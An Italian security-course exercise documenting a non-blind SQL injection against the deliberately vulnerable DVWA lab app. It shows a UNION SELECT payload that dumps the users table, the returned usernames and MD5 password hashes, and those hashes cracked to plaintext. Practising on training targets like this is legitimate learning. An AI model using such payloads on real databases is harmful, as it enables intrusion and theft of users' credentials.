



ESERCIZIO SQL

COMPITO S6-L4

TRACCIA: UTILIZZANDO L'ATTACCO SQL INJECTION (NON BLIND), ANDARE A COMPROMETTERE IL DATABASE DI DVWA.

1. 5f4dcc3b5aa765d61d8327deb882cf99 - password
2. e99a18c428cb38d5f260853678922e03 - abc123
3. 8d3533d75ae2c3966d7e0d4fcc69216b - charley
4. 0d107d09f5bbe40cade3de5c71e9e9b7 - letmein
5. 5f4dcc3b5aa765d61d8327deb882cf99 - password

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 1:admin:5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 2:gordonb:e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 3:1337:8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 4:pablo:0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 5:smithy:5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>